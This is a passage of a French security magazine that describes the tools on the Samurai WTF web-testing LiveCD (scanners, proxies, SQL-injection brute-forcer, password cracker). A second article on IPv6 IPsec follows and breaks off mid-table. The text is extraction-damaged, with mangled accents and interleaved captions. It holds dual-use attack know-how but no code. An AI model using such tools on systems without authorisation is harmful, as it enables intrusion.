tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

